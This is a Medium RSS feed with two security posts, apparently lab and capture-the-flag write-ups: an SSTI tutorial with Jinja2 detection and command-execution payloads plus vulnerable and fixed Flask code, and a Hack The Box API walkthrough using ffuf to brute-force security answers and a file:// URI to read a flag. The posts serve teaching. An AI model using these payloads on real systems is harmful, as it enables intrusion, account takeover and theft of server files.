<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by T^u on Medium]]></title>
        <description><![CDATA[Stories by T^u on Medium]]></description>
        <link>https://medium.com/@mohaemn556?source=rss-3cc5247a70e7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*7x6ZW79Y3CKCzp3C</url>
            <title>Stories by T^u on Medium</title>
            <link>https://medium.com/@mohaemn556?source=rss-3cc5247a70e7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 11:18:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohaemn556/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Server-side Template injection (SSTI)]]></title>
            <link>https://medium.com/@mohaemn556/server-side-template-injection-ssti-db0ce2208f32?source=rss-3cc5247a70e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/db0ce2208f32</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ssti]]></category>
            <dc:creator><![CDATA[T^u]]></dc:creator>
            <pubDate>Fri, 20 Nov 2026 10:51:33 GMT</pubDate>
            <atom:updated>2026-11-20T10:58:09.662Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/140/1*XyGn2M47zNWcLBnhmgCP4g.jpeg" /></figure><p>I just got the root flag on the Takeoff machine, and OMG, I almost cried!, Not because of SSTI, it was pretty bit easy actually, But THE ROOT FLAG!!</p><p>The machine had an SSTI vulnerability in its web application, specifically in the section where users could add notes to flight information.</p><p>After the excitement of finally obtaining the root flag, I thought to take this opportunity to explain Server-Side Template Injection (SSTI).</p><p>SSTI is a web security vulnerability that occurs when an application embeds untrusted user input directly into a server-side template, allowing an attacker to inject and execute template expressions.</p><p>Depending on the template engine and application configuration, SSTI can lead to sensitive information disclosure, unauthorized access, or Remote Code Execution (RCE).</p><p>template engines are tools that generate dynamic content by combining predefined templates with data. For SSTI, the most relevant types are server-side template engines, which differ depending on the programming language and framework.</p><p><strong>Common template engines</strong>:<br>Jinja2 -&gt; {{7*7}}<br>Django Templates -&gt; {{variable}}<br>Twig -&gt; {{7*7}}<br>Go -&gt;{{.variable}}<br>FreeMarker -&gt; ${variable}</p><h3>There are Two main categories</h3><p>Server-Side Templates: Templates are processed on the server before the resulting content is sent to the browser.</p><p>Client-Side Templates: Templates are processed in the user’s browser, which is typically using JavaScript.</p><p><strong>maybe ask; Why does this matter for SSTI?</strong><br>Because different template engines have different syntax and capabilities and of course different security restrictions.</p><p><strong>Examples</strong>:<br>Jinja2 supports arithmetic expressions such as {{7*7}}.</p><p>Go templates do not directly support {{7*7}} because their expression syntax is different.</p><p>Django Templates do not support arbitrary Python arithmetic expressions such as {{7*7}}.</p><p>Now that we have explored SSTI and its different types from a theoretical perspective, it’s time to dive into the technical side and see how these vulnerabilities can be identified, enumerated, and exploited in practice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*hyvsdt-J674SKN_QwLueZw.png" /></figure><p>Here, we have a simple website that is vulnerable to Server-Side Template Injection (SSTI).</p><p>To check whether the application is vulnerable, we’ll start by injecting a simple mathematical expression, {{7*7}}, and observe how the server processes it.</p><p>If the application returns 49 instead of displaying the expression as plain text, this suggests that our input is being evaluated by a template engine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*qGWyBWXYET6171pkphujMQ.png" /></figure><p>The application returns 49 instead of displaying the expression as plain text.</p><p><strong>Does this mean we’ve successfully confirmed SSTI?</strong></p><p>Not necessarily. While the result is a strong indication of SSTI, it doesn’t definitively confirm the vulnerability. The application might be processing the expression through another mechanism.</p><p>To confirm SSTI, we need to perform additional tests and identify the template engine responsible for evaluating our input.</p><p>another payload: {{7*&#39;7&#39;}}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*PnDFMVmhErSOxIJsIEYF5w.png" /></figure><p>Interestingly, the application returns 7777777 instead of 49.</p><p>This behavior is consistent with Jinja2, where multiplying a string by an integer repeats the string.</p><p>Now that we have stronger evidence of template expression evaluation, we can continue fingerprinting the template engine before moving on to enumeration.</p><p>This behavior is consistent with Jinja2, where multiplying a string by an integer repeats the string.</p><p>This is one way we can fingerprint the template engine used by the application. For example, if the expression {{7*&#39;7&#39;}} returns 7777777, it suggests that the application is using Jinja2.</p><p>However, if it returns 49, the application might be using Twig.<br>Keep in mind that these results are indicators, not definitive proof.</p><p>Additional tests may be needed to accurately identify the template engine.</p><p>Now that we’ve identified Jinja2 as the likely template engine, let’s enumerate the template environment to see which objects and attributes are accessible.<br>We’ll start with a simple payload:{{request.method}}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*APVKpryanacx4GQhjlncXg.png" /></figure><p>The application returns POST .</p><p>let’s try: {{request.path}}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*LBswKa-EC9Y1BVCbeOpCtA.png" /></figure><p>The application returns /preview, revealing the current request path.</p><p>After confirming that we can access Flask’s request object, we can investigate whether the template environment exposes additional Python objects and functions.</p><p>In certain vulnerable Jinja2 configurations, it may be possible to access Python internals and eventually execute operating system commands.</p><p>To demonstrate this in our local lab, we’ll attempt to execute a command such as whoami.</p><p>If successful, the application will return the username of the operating system account running the Flask process.<br>We’ll try: {{ cycler.__init__.__globals__.os.popen(‘whoami’).read() }}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*F1TD7IjfWaXFlymQpN7kNw.png" /></figure><p>we’ll attempt to read sensitive system files, such as /etc/passwd, which contains information about local user accounts on Linux systems.</p><p>If we can access this file through the SSTI vulnerability, it demonstrates that the vulnerability may allow us to read files from the underlying server, depending on the permissions of the application process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*VKq7Ndan0G0T8tGiYOyDnw.png" /></figure><p>and…We can.</p><h3><strong>Why Does This Happen?</strong></h3><p>How were we able to access sensitive information through a simple input field? And where exactly does the vulnerability originate?</p><p>let’s examine how the application handles user input.</p><h4>Vulnerable Code</h4><pre><br>template = &quot;Hello &quot; + name<br>return render_template_string(template)</pre><p>In this example, the application directly concatenates user-controlled input (name) into the template string without separating it from the template&#39;s source code.</p><p>Since render_template_string() interprets the resulting string as a Jinja2 template, an attacker can inject malicious template expressions that are evaluated on the server rather than treated as plain text.</p><p>This is the root cause of the SSTI vulnerability.</p><h4>Secure Code</h4><pre><br>template = &quot;Hello {{ name }}&quot;<br>return render_template_string(template, name=name)</pre><p>Unlike the vulnerable example, this implementation uses a fixed template and passes the user’s input as a separate variable.</p><p>Jinja2 treats the supplied value as data rather than interpreting it as additional template code.</p><p>As a result, even if the user enters a template expression such as {{7*7}}, it will be displayed as text instead of being evaluated.</p><p>The key difference is how user input is handled: the vulnerable code treats it as part of the template source, while the secure code treats it as data.</p><blockquote>The secure implementation does not rely on input sanitization alone. Instead, it prevents SSTI by separating user-controlled data from the template source code.</blockquote><blockquote>However, this does not mean the application is completely secure. Other vulnerabilities, such as Cross-Site Scripting (XSS), may still exist if user input is not properly escaped or handled in the appropriate context.</blockquote><h3>Conclusion</h3><p>Server-Side Template Injection (SSTI) is a vulnerability that occurs when user-controlled input is interpreted as part of a server-side template rather than being treated as data.</p><p>Throughout this article, we explored how SSTI works, how to detect and identify vulnerable template engines, and how improper template rendering can lead to sensitive information disclosure.</p><p>We also examined the root cause of the vulnerability and demonstrated how separating user input from template source code can prevent this type of injection.</p><p>It’s important to remember that not every SSTI vulnerability leads to RCE.</p><p>The actual impact depends on the template engine, its configuration, the objects exposed to the template, and the privileges of the application.</p><p>Ultimately, understanding SSTI is not just about learning payloads, but about recognizing how unsafe handling of user input can turn a simple template into a serious security risk.</p><p>T T T</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db0ce2208f32" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API ATTACKS]]></title>
            <link>https://medium.com/@mohaemn556/api-attacks-skill-assessment-htb-fa139fd1c5c6?source=rss-3cc5247a70e7------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa139fd1c5c6</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[T^u]]></dc:creator>
            <pubDate>Fri, 05 Jun 2026 17:01:24 GMT</pubDate>
            <atom:updated>2026-11-20T09:21:36.095Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*41voRUb-PVsLgZT4JSjDHA.jpeg" /></figure><h3>Scenario</h3><p>After reporting all vulnerabilities in versions v0 and v1 of Inlanefreight E-Commerce Marketplace, the admin attempted to patch all of them in v2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1K0mmW2Oyx8a3KJEMt8NBg.png" /></figure><blockquote><strong><em>TARGET: Inlanefreight E-Commerce Marketplace</em></strong></blockquote><p>First, logging into the application using the provided credentials. Upon a successful login, the application utilized <strong>(JWT)</strong> for authentication via <a href="http://154.57.164.80:30277/swagger/index.html#/Authentication/API_Attacks_SAFeaturesAuthenticationCustomersSignInEndpoint"><strong>/api/v2/authentication/customers/sign-in</strong></a><strong> .</strong></p><pre>{<br>  &quot;customer&quot;: {<br>    &quot;id&quot;: &quot;3d6b5aba-302b-4c50-a90a-088307d0b637&quot;,<br>    &quot;name&quot;: &quot;HTBPentester&quot;,<br>    &quot;email&quot;: &quot;htbpentester@hackthebox.com&quot;,<br>    &quot;phoneNumber&quot;: &quot;+44 9999 999999&quot;,<br>    &quot;birthDate&quot;: &quot;1997-06-21&quot;<br>  }<br>}</pre><p>the user’s role via<strong>; GET </strong><a href="http://154.57.164.80:30277/swagger/index.html#/Roles/API_Attacks_SAFeaturesRolesGetByCurrentUserEndpoint"><strong>/api/v2/roles/current-user</strong></a></p><pre>{<br>  &quot;roles&quot;: [<br>    &quot;Suppliers_Get&quot;,<br>    &quot;Suppliers_GetAll&quot;<br>  ]<br>}</pre><p>Using the suppliers_get privilege, a GET request was executed to retrieve all suppliers and enumerate the available supplier profiles via; GET <a href="http://154.57.164.80:30277/swagger/index.html#/Suppliers/API_Attacks_SAFeaturesSuppliersGetAllEndpoint">/api/v2/suppliers</a> .</p><pre>{<br>  &quot;suppliers&quot;: [<br>    {<br>      &quot;id&quot;: &quot;00ac3d74-6c7d-4ef0-bf15-00851bf353ba&quot;,<br>      &quot;companyID&quot;: &quot;f9e58492-b594-4d82-a4de-16e4f230fce1&quot;,<br>      &quot;name&quot;: &quot;James Allen&quot;,<br>      &quot;email&quot;: &quot;J.Allen1607@globalsolutions.com&quot;,<br>      &quot;securityQuestion&quot;: &quot;SupplierDidNotProvideYet&quot;,<br>      &quot;professionalCVPDFFileURI&quot;: &quot;SupplierDidNotUploadYet&quot;<br>    },<br>    {<br>      &quot;id&quot;: &quot;575d53eb-30f7-41f0-8c82-6fe9405c1c32&quot;,<br>      &quot;companyID&quot;: &quot;f9e58492-b594-4d82-a4de-16e4f230fce1&quot;,<br>      &quot;name&quot;: &quot;Tyson Butler&quot;,<br>      &quot;email&quot;: &quot;T.Butler1205@globalsolutions.com&quot;,<br>      &quot;securityQuestion&quot;: &quot;SupplierDidNotProvideYet&quot;,<br>      &quot;professionalCVPDFFileURI&quot;: &quot;SupplierDidNotUploadYet&quot;<br>    },<br>    {<br>      &quot;id&quot;: &quot;8cb8d787-c305-4d65-a49a-ad78e5696a75&quot;,<br>      &quot;companyID&quot;: &quot;f9e58492-b594-4d82-a4de-16e4f230fce1&quot;,<br>      &quot;name&quot;: &quot;Collin Patterson&quot;,<br>      &quot;email&quot;: &quot;C.Patterson1855@globalsolutions.com&quot;,<br>      &quot;securityQuestion&quot;: &quot;SupplierDidNotProvideYet&quot;,<br>      &quot;professionalCVPDFFileURI&quot;: &quot;SupplierDidNotUploadYet&quot;<br>    },<br>...</pre><p>Exploring new endpoint:</p><p><a href="http://154.57.164.80:30277/swagger/index.html#/Authentication/API_Attacks_SAFeaturesAuthenticationSuppliersResetPasswordBySecurityQuestionAnswerEndpoint"><strong>/api/v2/authentication/suppliers/passwords/resets/security-question-answers</strong></a></p><pre>{<br> &quot;SupplierEmail&quot;: &quot;string&quot;,<br> &quot;SecurityQuestionAnswer&quot;: &quot;string&quot;,<br> &quot;NewPassword&quot;: &quot;string&quot;<br>}</pre><p>In order to exploit the <strong>BOLA/BOPLA</strong> vulnerability and successfully perform a password reset, two critical pieces of information were required: a target <strong>supplier’s email address</strong> and their corresponding <strong>security answer</strong>.</p><p>During the analysis of the enumerated supplier profiles, it was observed that several accounts shared an identical security question: <em>“What is your favorite color?”</em>. To automate the exploitation process, two separate wordlists were prepared:</p><ol><li>email.txt: Containing the extracted supplier email addresses.</li><li>colors.txt: Containing a list of potential color names to be used as security answers.</li></ol><p>These lists were created to execute a targeted fuzzing attack against the password reset endpoint.</p><pre>ffuf -w email.txt:FUZZ -w colors.txt:COLOR -X POST -u &#39;http://154.57.164.80:30277/api/v2/authentication/suppliers/passwords/resets/security-question-answers&#39;<br>-H &#39;Content-Type: application/json&#39; -d &#39;{&quot;SupplierEmail&quot;:&quot;FUZZ&quot;,&quot;SecurityQuestionAnswer&quot;:&quot;COLOR&quot;,&quot;NewPassword&quot;:&quot;Newpassword1!&quot;}&#39;<br>-fr &#39;false&#39;</pre><p>RESULT : ‘rust’</p><pre>{<br> &quot;SupplierEmail&quot;: &quot;B.Rogers1535@globalsolutions.com&quot;,<br> &quot;SecurityQuestionAnswer&quot;: &quot;rust&quot;,<br> &quot;NewPassword&quot;: &quot;Newpassword1!&quot;<br>}</pre><pre>{<br> &quot;successStatus&quot;: true<br>}</pre><p>After successfully brute-forcing/fuzzing the security answer, the password reset request was completed for the target supplier account. Logged into the application using the newly set credentials.</p><p>get the user’s role <a href="http://154.57.164.80:30277/swagger/index.html#/Customers/API_Attacks_SAFeaturesCustomersGetByCurrentUserEndpoint">GET /api/v2/customers/current-user</a> but no role assigned.</p><pre>{<br> &quot;errorMessage&quot;: &quot;User does not have any roles assigned&quot;<br>}</pre><p>via endpoint <a href="http://154.57.164.72:32177/swagger/index.html#/Suppliers/API_Attacks_SAFeaturesSuppliersUploadCVByCurrentUserEndpoint">PATCH /api/v2/suppliers/current-user/cv</a></p><pre>{<br>  &quot;SecurityQuestion&quot;: &quot;string&quot;,<br>  &quot;SecurityQuestionAnswer&quot;: &quot;string&quot;,<br>  &quot;ProfessionalCVPDFFileURI&quot;: &quot;string&quot;,<br>  &quot;PhoneNumber&quot;: &quot;string&quot;,<br>  &quot;Password&quot;: &quot;string&quot;<br>}</pre><p>Inputted the gathered information</p><pre>{<br>  &quot;SecurityQuestion&quot;: &quot;What is your favorite color?&quot;,<br>  &quot;SecurityQuestionAnswer&quot;: &quot;rust&quot;,<br>  &quot;ProfessionalCVPDFFileURI&quot;: &quot;file:///flag.txt&quot;,<br>  &quot;PhoneNumber&quot;: &quot;string&quot;,<br>  &quot;Password&quot;: &quot;Newpassword1!&quot;<br>}</pre><p>to confirmed SSRF to LFI, I called <a href="http://154.57.164.72:32177/swagger/index.html#/Suppliers/API_Attacks_SAFeaturesSuppliersGetCVBase64ByCurrentUserEndpoint">/api/v2/suppliers/current-user/cv</a></p><pre>{<br>  &quot;successStatus&quot;: true,<br>  &quot;base64Data&quot;: &quot;SFRCe...4ZDU5fQo=&quot;<br>}</pre><p>Decode that base64</p><pre>echo &#39;SFRCe...4ZDU5fQo=&#39; | base64 -d</pre><p>and i got the flag</p><pre>HTB{f190b80...}</pre><p>T T T</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa139fd1c5c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>